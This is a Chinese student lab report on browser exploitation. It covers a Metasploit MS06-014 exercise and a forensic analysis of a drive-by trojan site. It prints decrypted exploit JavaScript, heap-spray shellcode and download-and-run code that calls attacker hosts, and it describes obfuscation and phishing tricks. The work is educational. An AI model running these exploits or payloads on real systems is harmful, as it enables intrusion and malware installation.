作业说明
作业正文
1.实践内容
Web浏览器的技术发展与安全威胁
Web浏览器战争与技术发展
- 现代Web浏览器的基本结构与机理:
- 现代web浏览器指的是能够符合“现行标准”,并被互联网用户所接受使用的web浏览器软件。
- 目前现代的web浏览器要求能够理解和支持HTML和XHTML、Cascading Style Sheets(CSS)、ECMAScript及W3C Document Object Model(DOM)等一系列标准,现代浏览器的基本结构如下所示:
Web浏览器的安全问题与威胁
- Web浏览器软件的安全困境三要素:
- 复杂性:现在web浏览器软件由于需要支持HTTP、HTTPs、FTP等多种类型的应用层协议浏览,符合HTML、XHTML、CSS等一系列的页面标准规范,支持JavaScript、Flash、Java、silverlight等多种客户端执行环境变得非常复杂,这意味着更多的错误和安全缺陷。
- 可扩展性:目前几乎所有的现代浏览器软件都支持第三方插件扩展机制,并通过JavaScript等客户端脚本执行环境、沙箱和虚拟机来执行富Internet应用程序,但是第三方扩展插件的开发过程缺乏安全保障,出现安全漏洞的情况更为普遍。
- 连通性:现代web浏览器本身是为用户实现“随时随地浏览互联网”这一目的而存在,因此浏览器软件始终工作在联网状态,一旦存在安全漏洞,很容易被网络上的威胁源所利用和攻击。
- Web浏览器安全威胁位置:web浏览环境中的每一个组件都面对着各种不同类型的安全威胁:
- 针对传输网络的网络安全协议安全威胁:网络监听与协议栈攻防技术(4、5章)
- 针对Web端系统平台的安全威胁:针对windows桌面系统的渗透攻击与恶意代码(7、9章)
- 针对Web浏览器软件及插件程序的渗透攻击威胁:恶意攻击者在地下经济链的驱动下,通过客户端渗透攻击向互联网用户桌面系统中植入恶意木马程序,窃取隐私信息并以此牟取非法利益。
- 针对互联网用户的社会工程学攻击威胁:利用进行web浏览器的用户存在的人性、心理等方面的弱点,实施社会工程学攻击,来尝试骗取互联网用户的敏感个人隐私信息,如网络钓鱼攻击。
Web浏览端的渗透攻击威胁——网页木马
网页木马安全威胁的产生背景
网页木马(网马):具有特洛伊木马的特性——被隐蔽地挂接在一些提供真实内容的网页上,用户访问这些网页时,网页木马就会不知不觉向用户计算机中植入恶意程序。具有更高的复杂性。
- 网页木马的产生与发展背景
- 从恶意网页脚本中孕育和发展出来的。
- 如早去的浏览器网页劫持、网页炸弹等。
- 黑客进一步发现在浏览端执行的恶意网页脚本能够利用客户端软件安全漏洞来获得到访问权的机会,在浏览端植入恶意程序或进行其他操作,从而发展出网页木马这种比较新颖的网络攻击技术。
- 网页木马发展与流行的驱动力————黑客地下经济链:
- 窃取和出售虚拟资产获取非法赢利的地下经济链在国内黑帽子社区中执行运营很多年,经过多年的发展,网络虚拟资产盗窃的黑客地下经济链已经具备分工明确、隐蔽性高等特点。
- 网络虚拟资产盗窃的黑客地下经济链结构:
- 网页木马存在的技术基础————Web浏览端安全漏洞
- 使得网页木安全威胁持续存在的根源是:web浏览端软件中存在安全漏洞,这些漏洞为网页木马进入并感染受害主机提供必要的技术基础条件。
- 网页木马的本质核心:利用脚本语言实现对web浏览端软件安全漏洞的渗透攻击,从而向客户端主机中植入恶意程序。
- 网页木马的特性:
- 网页木马所攻击的安全漏洞的存在位置多样化,包括web浏览器自身、浏览器插件、关联某些web文件的应用程序等等(这几类软件代码都设计web浏览过程)。
- 由于互联网用户对应用软件的在线升级和补丁安装过程没有像微软系统软件一样自动化和实时,一些流行的应用软件中的安全漏洞留给网页木马的攻击事件窗口会长一点。
- 一些影响范围广的安全漏洞,如
MS06-014
会被网页木马持续地利用,以攻击那些长时间不进行系统升级与补丁更新,或者安装老旧操作系统版本的互联网用户计算机
网页木马的机理分析
- 网页木马的定义特性:
- 网页木马从本质特性上来说:利用了现代Web浏览器软件中所支持的客户端脚本执行能力,针对Web浏览端软件安全漏洞实施客户端渗透攻击,从而取得在客户端主机的远程代码执行权限来植入恶意程序。
- 网页木马:是对Web浏览端软件进行客户端渗透攻击的一类恶意移动代码,通常以网页脚本语言如JavaScript、VBScirpt实现,或以Flash、PDF等恶意构造的Web文件形式存在,通过利用Web浏览端软件中存在的安全漏洞,获得客户端计算机的控制权限以植入恶意程序。
- 对网页木马机理的全方位分析与理解:
- 网页木马采用客户端渗透攻击形式,需要web浏览端软件来访问构造的恶意web页面内容才能触发渗透攻击过程。因此,网页木马攻击是被动式的,需要通过一些技术方法来诱使互联网用户来访问网页木马页面。
- 网页木马的攻击技术流程:
- 病毒编写者负责实现网页木马和传统的盗号木马,并使用免杀技术方法使之躲避反病毒软件的检测;
- 黑站长/网站骇客出卖访问者或者攻陷不安全的网站,出售这些网站的访问流量;
- “信封”盗窃者在木马宿主站点上放置网页木马和传统盗号木马,并通过在大量网站中嵌入恶意链接将访问者重定向至网页木马,从而构建网页木马攻击网络;
- 受害者在访问挂马网站的时候,就会自动地链接到网页木马并被其攻击,植入传统盗号木马,进而被窃取“信封”和虚拟资产。
- 网页木马攻击网络具有如下特性:
- 多样化的客户端渗透攻击位置和技术类型;
- 分布式、复杂的微观链接结构;
- 灵活多变的混淆与对抗分析能力。
- 网页木马的本质核心————浏览器渗透攻击
- 网页木马的本质核心:是利用web浏览端软件安全漏洞的渗透攻击代码。
- 网页挂马机制:
- 网页挂马:在编写完网页木马渗透攻击代码之后,为了使得能够有终端用户使用他们可能存在安全漏洞的Web浏览端软件来访问网页木马,攻击者还需要将网页木马挂接到一些拥有客户访问流量的网站页面上。
- 网页挂马的四种策略:
- 内嵌HTML标签:如iframe、frame等等,将网页木马链接嵌入到网站首页或其他页面中。为了达到更好地隐蔽性和灵活性,攻击者还经常利用层次嵌套的内嵌标签,引入一些中间的跳转站点并进行混淆,从而构建复杂且难以追溯的网页木马攻击网络。通常将内嵌框架设置为不可见,例如:
<iframe src=http://www.trojan.com/ width=0 height=0></iframe>
- 恶意script脚本:利用script脚本标签通过外部引用脚本的方式来包含网页木马,例如:
<script src="URL to Trojan">
- 内嵌对象链接:利用图片、Flash等内嵌对象中的特定方法完成指定页面的加载,如flash中的
LoadMovie()
方法等。 - ARP欺骗挂马:在安全防护严密的拥有大量访问流量的网站,在同一以太网网段内,攻击者利用ARP欺骗方法进行中间人攻击,劫持所有目标网站出入的网络流量,并在目标网站的HTML反馈包中注入恶意脚本,从而时期成为将网络访问流量链接至网页木马的挂马站点。
- 内嵌HTML标签:如iframe、frame等等,将网页木马链接嵌入到网站首页或其他页面中。为了达到更好地隐蔽性和灵活性,攻击者还经常利用层次嵌套的内嵌标签,引入一些中间的跳转站点并进行混淆,从而构建复杂且难以追溯的网页木马攻击网络。通常将内嵌框架设置为不可见,例如:
- 混淆机制:对抗反病毒软甲的检测,并提高反病毒工程师的分析难度,从而使得网页木马攻击网络更加难以被检测和摧毁。
- 目前在网页木马中使用比较广泛的混淆方法主要有:
- 将代码重新排版,去除缩进、空行、换行、注释等,同时将网页木马中的变量名替换为一组合法的随机字符串,使其失去自我描述的能力,从而干扰阅读分析;
- 通过大小写变换、十六进制编码、escape编码、unicode编码等方法对网页木马进行编码混淆;
- 通过通用或定制的加密工具对网页木马进行加密得到密文,然后使用脚本语言中包含的解密函数,对密文进行解密,再使用
document.write()
或eval()
进行动态输出或执行,此类混淆方法例如XXTEA网页加密工具; - 利用字符串运算、数学运算或特殊函数可以混淆代码,一个典型的例子是通过字符串替换函数将网页木马中的一些字符替换为其他字符构成混淆后代码,然后在运行时首先替换回原先的字符,然后进行动态执行;
- 修改网页木马文件掩码欺骗反病毒软件,或对网页木马文件结构进行混淆,来伪装正常文件,甚至将网页木马代码拆分至多个文件等。
- 目前在网页木马中使用比较广泛的混淆方法主要有:
网页木马的检测和分析技术
- 基于特征码匹配的传统检测方法:灵活多变的混淆机制以及分布式复杂的链接结构使得其失效。
- 基于统计与机器学习的静态分析方法:针对网页木马所采用的代码混淆或隐藏内嵌链接的特征进行检测,但仍停留在外在形态层次上。
- 基于动态行为结果判定的检测分析方法:利用行为特性,构建蜜罐环境,根据在访问过程中是否发生了非预期系统变化,来判定是否挂马。
- 基于模拟浏览器环境的动态分析检测方法:以脚本执行引擎为核心,通过模拟实现DOM模型、页面解析与渲染、ActiveX等第三方控件构建出一个虚拟的低交互式客户端蜜罐环境,进行脚本解释,还原真实状态,分析检测。
- 网页木马检测分析技术综合对比:
- 静态分析:试图通过特征码匹配和机器学习方法,在网页木马的外在形态层次上构建较为准确的检测方法;
- 动态分析:实质上是从网页木马的外部表现行为出发,根据网页木马成功攻击客户端软件后对系统造成的行为后果进行判定。仅能判定是否是网页木马,而无法提供目标组件、利用漏洞位置与类型更为全面的攻击语义信息。
网页木马防范措施
- 提升操作系统与浏览器软件的安全性,如第三方插件自动更新
- 安装反病毒软件
- 养成良好的浏览习惯,借助安全评估工具的帮助,避免访问安全性低的网站
揭开网络钓鱼的黑幕
网络钓鱼:是社会工程学在互联网中广泛实施的一种典型攻击方式,通过大量发送声称来自于银行或其他机构的欺骗性垃圾邮件,意图引诱出个人敏感信息。
网络钓鱼攻击的技术内幕
-
案例一——在攻陷的服务器上钓鱼:攻击者在互联网上扫描并攻陷存有安全漏洞的服务器,然后在上面实施网络钓鱼攻击。过程如下:
- 攻击者扫描网段,寻找有漏洞的服务器;
- 服务器被攻陷,并安装一个
Rootkit
或口令保护的后门工具; - 攻击者从加密的后门工具获得对服务器的访问权,并下载已经构建完毕的钓鱼网站内容,进行一些网站搭建配置测试工作,使得钓鱼网站上线运行;
- 攻击者下载群发电子邮件工具,并大规模散发包含假冒钓鱼网站信息的欺骗性垃圾邮件;
- 网页浏览的流量开始到达里钓鱼网站,潜在的受害者开始访问假冒的钓鱼网站内容,并受欺骗给出个人敏感信息,攻击者通过服务器后台脚本收集这些个人敏感信息。
-
案例二——部署重定向服务搭建钓鱼攻击网络:攻击者充分利用大量被攻陷的服务器资源,部署更加复杂、更具生存性的钓鱼攻击网络。
-
网络钓鱼攻击技术策略:
- 首先架设支撑钓鱼攻击的底层基础设施;
- 欺骗大量互联网用户访问钓鱼网站;
- 具体欺骗技巧:
- 在指向假冒网站的链接中使用IP地址代替域名;
- 注册发音相似或形似的DNS域名,并在上面架设假冒网站;
- 在一个假冒钓鱼网站的电子邮件HTML内容中嵌入一些指向真实的目标网站链接,从而使得用户的网站网浏览器,大多数HTTP链接是指向真实的往目标网站,而仅有少数的关键链接指向假冒的网站;
- 对假冒网站的URL进行编码和混淆。很多用户不会注意到或者理解url链接被做过什么处理,并会假设它是良性的;
- 企图攻击用户网络浏览器存在的漏洞,使之隐藏消息内容的实质;
- 将假冒的钓鱼网站配制成记录用户提交的所有数据,并进行不可察觉的日志,然后将用户重定向到真实的网站;
- 架设一个假冒网站作为目标机构真实网站的代理,并偷摸的记录未使用SSL加密保护的口令信息,甚至为假冒域名注册一个有效的SSL证书,从而对SSL加密保护的口令信息进行记录;
- 通过恶意代码在受害者计算机上安装一个恶意的浏览器助手工具,然后尤其将受害者定向到假冒的钓鱼网站;
- 使用恶意代码去修改受害者计算机上用来维护DNS域名和IP地址映射的本地hosts文件。
网络钓鱼攻击的防范
- 对以索取个人敏感信息的邮件提高警惕性;
- 充分利用浏览器安全访问提示;
- 涉及网上金融操作时,务必重要网站真实性,尽量使用U盾代替证书或口令。
2.实践过程
一.动手实践——Web浏览器渗透攻击实验
任务:使用攻击机和windows靶机进行浏览器的渗透攻击实验,体验网页木马构造以及实施浏览器攻击的实际过程。
- 使用
Metasploit
的MS06-014
渗透攻击模块(ie_createobject
); - 选择payload为任意远程连接,设置参数,得到恶意url地址;
- 设置服务器地址(SVRHOST或LHOST)和URL参数。运行exploit,构造出恶意网页木马脚本;
- 在靶机环境中启动浏览器,验证与服务器的连通性,并访问唯一网页木马脚本URL;
- 在攻击机
Metasploit
软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令。
实验环境:
- 攻击机kali:192.168.200.3
- 靶机Win2kServer:192.168.200.124
实验步骤:
- 在kali中输入
msfconsole
,打开Metasploit; - 使用命令
search MS06-014
搜索MS06-014
渗透攻击模块,发现只有一个可用的攻击模块; - 输入
use exploit/windows/browser/ie_createobject
,使用该模块进行攻击:
- 使用命令
set LHOST 192.168.200.3
设置攻击机地址; - 使用命令
set payload windows/meterpreter/reverse_tcp
设定使用的载荷; - 使用命令
exploit
进行攻击:
- 攻击后会得到有木马的网址为
http://192.168.200.3:8080/l1cq0i3hMP
,然后在靶机中访问地址,返回一段英文字符:
- 此时攻击机中显示靶机到攻击机的session被建立,攻击成功:
- 输入
sessions
查看当前连接,使用命令sessions 1
选择会话1,返回meterpreter
; - 使用
getuid
查看当前权限为administrator
; - 输入命令
ifconfig
查看靶机地址为192.168.200.124
:
二.取证分析实践:剖析一个实际的网页木马攻击场景
任务:一个研究组发现了一个域名为 18dd.net
的挂马网站。在链接分析的过程中,发现有大量恶意网页最终都重定向到了这个网站上。这个站点的恶意代码入口是 http://aa.18dd.net/ww/new09.htm
文件,现在要根据给出的说明逐步分析,得到最终的木马文件的内容。
说明:这个挂马网站现在已经无法访问了,但蜜网课题组的成员保留了最初做分析时所有的原始文件。首先你应该访问 start.html,在这个文件中给出了 new09.htm 的地址,在进入 new09.htm
后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/
目录下去下载对应的文件(注意:文件名中的英文字母
为小写,且没有扩展名),即为解密出的地址对应的文件。如果解密出的地址给出的是网页或
脚本文件,请继续解密;如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。
重复以上过程直到这些文件被全部分析完成。请注意:被散列的文件地址应该是标准的 URL
形式,形如 http://xx.18dd.net/a/b.htm
,否则会导致散列值计算不正确而无法继续。
问题:
- 试述你是如何一步步地从所给的网页中获取最后的真实代码的?
- 网页和 JavaScript 代码中都使用了什么样的加密方法?你是如何解密的?
- 从解密后的结果来看,攻击者利用了那些系统漏洞?
- 解密后发现了多少个可执行文件?其作用是什么?
- 这些可执行文件中有下载器么?如果有,它们下载了哪些程序?这些程序又是什么作用的?
分析过程:
-
指导书上给出的链接
http://192.168.68.253/scom/start.html
无法访问,下面根据材料提供的一些文件来进行分析。 -
首先访问说明中给出的
start.html
文件,但考虑到这个文件中包含了new09.htm
是恶意网站的入口,不直接在浏览器中打开它,而把它下载下来。下载以后用记事本打开,
搜索“new09.htm”可以找到两处:
-
从这两处可以看出
start.html
文件在引用new09.htm
文件时没有写绝对路径,所以可以知道
new09.htm
文件与start.htm
l 文件在同一目录下。同样,下载下来并用记事本打开。在new09.htm
文件中,用 iframe 引用了一个http://aa.18dd.net/aa/kl.htm
文件,用 javascript 引用了一个http://js.users.51.la/1299644.js
文件。
-
对它们分别作 MD5 散列:
-
在hashed文件中找到对应的文件,用记事本打开。
23180a42a2ff1192150231b44ffdf3d3
中的内容如下,提示不是我们要找的内容。
-
打开另一个文件
7f60672dcd6b5e90b6772545ee219bd3
:
-
看起来很复杂,但实际上这是一种被称为
XXTEA+Base64
的加密方法,对付这种加密方法,我们只要找到它的加密密钥就可以。注意上面的倒数第三行,即:
-
xxtea_decrypt
函数的第二个参数x73x63x72x69x70x74
就是密钥。 -
这里简单地使用了 16 进制加密。转换一下,密钥是“script”。
-
访问
http://www.cha88.cn/safe/xxtea.php
【这个网站也访问不了】。发现王磊同学的博客中提供了一个xxtea在线解密网站。输入秘钥密钥script
,在下面大的文本框中粘贴那个文件的全部内容,点“解密”,得到了十六进制加密。在对对引号中的内容进行解密,得到如下结果,将结果保存:
function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http://aa.18dd.net/aa/1.js></script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http://aa.18dd.net/aa/b.js></script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http://aa.18dd.net/aa/pps.js></script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}
- 由上可以看到利用到的应用程序漏洞有:
Adodb.Stream——微软数据库访问对象漏洞
;MPS.StormPlayer——暴风影音漏洞
;POWERPLAYER.PowerPlayerCtrl.1——PPStream漏洞
;BaiduBar.Tool——百度搜霸漏洞
;这些都是现在网络用户使用非常频繁的软件,其危害性可见一斑。 - 除此之外还可以看到这个文件还引用了三个js文件和一个压缩包(bd.cab,解开后是bd.exe),对他们作MD5散列:
MD5(http://aa.18dd.net/aa/1.js,32) = 5d7e9058a857aa2abee820d5473c5fa4
MD5(http://aa.18dd.net/aa/b.js,32) = 3870c28cc279d457746b3796a262f166
MD5(http://aa.18dd.net/aa/pps.js,32) = 5f0b8bf0385314dbe0e5ec95e6abedc2
MD5(http://down.18dd.net/bb/bd.cab,32) = 1c1d7b3539a617517c49eee4120783b2
- 在hashed文件夹中找到这四个文件:
- 首先看
1.js
,即5d7e9058a857aa2abee820d5473c5fa4
:
- 又是一个十六进制加密,解开得:
- 这个文件前面部分下载了一个
http://down.18dd.net/bb/014.exe
的可执行文件,后面部分是对ADODB 漏洞
的继续利用。 - 看
b.js
,即3870c28cc279d457746b3796a262f166
:
- 开始函数中的六个参数
p,a,c,k,e,d
提示使用packed加密方法,解密后的代码如下所示:
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var shellcode = unescape("%uf3e9%u0000" + "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
memory = new Array();
for (x = 0; x < 300; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 4068) buffer += "x0ax0ax0ax0a";
storm.rawParse(buffer)
- 这里出现了关键字
shellcode
,是二进制的机器码,这个shellcode
并不长,但它要实现很多破坏,不可能把所有的病毒都写在里面。因此它很可能就是下载器。对于一个下载器来说,必不可少的一项内容就是要下载的内容的 URL,我们可以找一找这加密的代码里有 URL 特征的字符串。 - URL中必然出现斜线
/
,/
的十六进制ASCII码是2f,在shellcode中找/
,画圈圈的地方共有六处,后四处比较可疑,因为两个2f比较密集。于是取从第三个2f开始到末尾的内容,解密结果是:http://down.18dd.net/bb/bf.exe
- 接着看
pps.js
,即5f0b8bf0385314dbe0e5ec95e6abedc2
:
- 这次变成了八进制转换,解密,结果如下:
/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="x0ax0ax0ax0a";
pps.Logo = buffer
- 同样有shellcode,用相同的方法得到
http://down.18dd.net/bb/pps.exe
- 最后一个压缩文件将其解压缩,可以得到
bd.exe
执行文件,计算将前三个可执行文件的 URL 的 MD5 值:
MD5(http://down.18dd.net/bb/014.exe,32) = ca4e4a1730b0f69a9b94393d9443b979
MD5(http://down.18dd.net/bb/bf.exe,32) = 268cbd59fbed235f6cf6b41b92b03f8e
MD5(http://down.18dd.net/bb/pps.exe,32) = ff59b3b8961f502289c1b4df8c37e2a4
- 目前得到了四个exe文件,即014.exe,bf.exe,pps.exe,bd.exe。可以发现这四个文件在资源管理器中大小相同。
- 校验这四个文件的 MD5 值,会发现都是相同的
1290ecd734d68d52318ea9016dc6fe63
:
- 所以这四个文件内容完全相同!任务量减少到四分之一,只要分析其中一个就可以了。
- 使用PEiD查看可执行文件的加壳情况,发现是用 Delphi 写的:
- 用 W32DAsm 反汇编这个 exe 文件,然后查看一下“串式参考”:
- 由字符串" goto try",":try","Alletdel.bat","cmd /c date ","cmd /c date 1981-01-12","del "","del %0","if exist",猜测这个程序可能生成一个叫"Alletdel.bat"的批处理文件,这个文件中有一个标签叫"try",批处理文件会不断的执行这个标签下一行的命令,命令内容可能是判断文件存在性,更改系统日期,删除某些文件;
- 由":AutoRun.inf","[AutoRun] open=","AutoRun.inf","shellAutocommand=",猜测这个程序可能在磁盘根目录下生成自动运行的文件,以使得用户在不小心时启动程序;
- 由"advapi32.dll","drivers/klif.sys","program filesinternet explorerIEXPLORE.EXE","IE执行保护","IEXPLORE.EXE","SoftwareMicrosoftWindowsCurrentVersionPoli","Kernel32.dll","SOFTWAREBorlandDelphiRTL","ChangeServiceConfig2A","ChangeServiceConfig2W","QueryServiceConfig2A","QueryServiceConfig2W"等可以猜测程序可能会 修改IE、注册表、服务和系统文件;
- 由"瑞星卡卡上网安全助手 - IE防漏墙","允许","允许执行",可知这个程序有一定的防系统保护软件的能力;
- 由20个形如"http://down.18dd.net/kl/**.exe"的字符串猜测程序要下载一大堆木马
问题回答:
①试述你是如何一步步地从所给的网页中获取最后的真实代码的?
- 从挂马网站222.29.87.30/scom的
Start.html
中发现其与new09.htm
在同一个文件夹下,进而发现aa/1.js
,aa/b.js
,aa/pps.js
等文件,通过解密发现其中的shellcode,具体分析见上。
②网页和 JavaScript 代码中都使用了什么样的加密方法?你是如何解密的?
主体 | 加密方法 |
---|---|
aa/kl.htm | 十六进制加密,XXTEA+Base64加密 |
1.js | 十六进制加密 |
b.js | 老外写的js加解密工具 |
pps.js | 八进制加密 |
③从解密后的结果来看,攻击者利用了那些系统漏洞?
网马 | 漏洞 |
---|---|
MS06-014网马 | 攻击MS06-014安全漏洞;MDAC RDS.Dataspace ActiveX控件远程代码执行漏洞 |
暴风影音网马 | 攻击CVE-2007-4816安全漏洞;暴风影音2 mps.dll组件多个缓冲区溢出漏洞 |
PPStream网马 | 攻击CVE-2007-4748安全漏洞;PPStream 堆栈溢出 |
百度搜霸网马 | 攻击CVE-2007-4105安全漏洞;百度搜霸ActiveX控件远程代码执行漏洞 |
④解密后发现了多少个可执行文件?其作用是什么?这些可执行文件中有下载器么?如果有,它们下载了哪些程序?这些程序又是什么作用的?
- 解密后发现了4个可执行文件,这四个可执行文件内容相同,都是下载器,下载了20个程序。这些程序的作用是盗取用户的账号。
三.攻防对抗实践——web浏览器渗透攻击攻防对抗
任务:攻击方使用 Metasploit
构造出攻击至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理后组装成一个URL链接,通过具有欺骗性的电子邮件发送给防守方。防守方对电子邮件中的挂马链接进行提取、解混淆分析,尝试恢复出渗透攻击代码的原始形态,并分析出这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。撰写详细实验分析报告,对攻防对抗过程进行总结。
实践过程:
- 由于不会混淆,所以该实践仅分析上上个实践中利用MS06-014漏洞进行分析的渗透代码。
- 前面实践中已经得到了恶意url,右键查看源文件获取攻击页面的源代码,下载查看。
- 发现对关键指令做了字符串拼接处理和使用了大量的空白和间隔,猜测是为了防止被杀毒软件查杀。
- 将其中无效回车符和空格去除:
<html>
<head>
<title></title>
<scriptlanguage="javascript">
Function TNnqPqFwATYGhAFN(o,n)
{
varr=null;
try
{
eval("r=o"+".C"+"re"+"ate"+"Ob"+"je"+"ct(n)")
}catch(e){}
if(!r)
{
try
{
eval("r=o"+".Cr"+"ea"+"teO"+"bj"+"ect(n,'')")
}catch(e){}
}
if(!r)
{
try
{
eval("r=o"+".Cr"+"ea"+"teO"+"bj"+
"ect(n,'','')")
}catch(e){}
}
if(!r)
{
try
{
eval("r=o"+".Ge"+"tOb"+"je"+"ct('',n)")
}catch(e){}
}
if(!r)
{
try
{
eval("r=o"+".Ge"+"tOb"+"ject(n,'')")
}catch(e){}
}
if(!r)
{
try
{
eval("r=o"+".Ge"+"tOb"+"ject(n)")
}catch(e){}
}
return(r);
}
Function MVPXzuoZeLqwiAgmYyyewEJvmOllm(a)
{
var s=TNnqPqFwATYGhAFN(a,"W"+"Sc"+"ri"+"pt"+".S"+"he"+"ll");
var o=TNnqPqFwATYGhAFN(a,"A"+"DO"+"D"+"B.S"+"tr"+"eam");
var e=s.Environment("P"+"ro"+"ce"+"ss");
var url=document.location+'/p'+'ay'+'lo'+'ad';
var xml =null;
var bin=e.Item("T"+"E"+"M"+"P")+"\rzULNEAMzLdxJYBzMznRxycm"+".e"+"xe";
var dat; try
{
xml=new XMLHttpRequest();
}
catch(e)
{
try
{
xml = new ActiveXObject("Microsoft.XMLHTTP");
}
catch(e)
{
xml= new ActiveXObject("MSXML2.ServerXMLHTTP");
}
}
if(!xml)
{
return(0);
}
xml.open("GET",url,false);
xml.send(null);
dat=xml.responseBody;
o.Type=1;
o.Mode=3;
o.Open();
o.Write(dat);
o.SaveToFile(bin,2);
s.Run(bin,0);
}
function tVvSIcjfVnZffIabEspn()
{
var i=0;
